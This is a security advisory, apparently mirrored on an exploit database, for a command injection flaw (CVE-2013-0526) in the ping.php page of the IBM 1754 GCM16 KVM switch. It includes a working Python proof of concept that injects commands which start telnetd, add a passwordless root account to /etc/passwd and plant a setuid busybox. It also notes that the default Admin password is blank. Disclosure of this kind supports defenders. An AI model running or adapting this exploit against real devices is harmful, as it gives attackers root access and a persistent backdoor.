IBM 1754 GCM16 1.18.0.22011 Command Execution Vulnerability

2013-08-17T00:00:00
ID 1337DAY-ID-21122
Type zdt
Reporter Alejandro Alvarez
Modified 2013-08-17T00:00:00

Description

IBM 1754 GCM16 versions 1.18.0.22011 and below contain a flaw that allows a remote authenticated user to execute unauthorized commands as root. This flaw exist because webapp variables are not sanitized. In this case, parameters $count and $size from ping.php allow to create a special crafted URL to inject text to an exec() so it can be arbitrary used to execute any command on the KVM embedded linux.

                                        
                                            I. Product description

The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance.


II. Vulnerability information

Impact: Command execution
Remotely exploitable: yes
CVE: 2013-0526
CVS Score: 8.5


III. Vulnerability details

GCM16 (v.1.18.0.22011) and older versions of this KVM switch contain a flaw
that allows a remote authenticated user to execute unauthorized commands as
root.

This flaw exist because webapp variables are not sanitised. In this case,
parameters $count and $size from ping.php allow to create a special crafted
URL to inject text to an exec() so it can be arbitrary used to execute any
command on the KVM embedded linux.


IV. Proof of concept

Following is a simple exploit that lead to root access to the device,
opening a telnet and creating a new user with root permission without
password (sessid and target are hardcoded so it must be changed to work):


#!/usr/bin/python

"""

This exploit for Avocent KVM switch allows to gain root access to embedded
device. SessionId (avctSessionId) is neccesary for this to work, so you
need a valid user. Default user is "Admin" with blank password.

After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su - superb" to gain root

"""

from StringIO import StringIO
import pycurl
import re
sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php" <https://172.30.30.40/ping.php>

command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd
; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to
device using telnet with user target and pass target, then \"/tmp/su -
superb\""

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1
; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
     c.perform()
     c.close()
except:
     print ""

content = storage.getvalue()
x1 = re.search(r"\*E\*(.*)\*E\*",content)
print x1.group(1).replace("<br />","\n")


V. Vendor Response

IBM released a new firmware that corrects this vulnerability (1.20.0.22575)


VI. Timeline

2013-06-12 - Vendor (IBM PSIRT) notified.
2013-06-12 - Vendor assigns internal ID.
2013-07-02 - Vendor confirms the vulnerability.
2013-08-16 - Vulnerability disclosed and patch released.


VII. External information

Information about this vulnerability (in spanish):
http://www.bitcloud.es/2013/08/vulnerabilidad-en-kvms-gcm1632-de-ibm.html
IBM Security Bulletin:
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5093509



-- 
--
Alejandro Alvarez Bravo
[email protected]

#  0day.today [2018-03-20]  #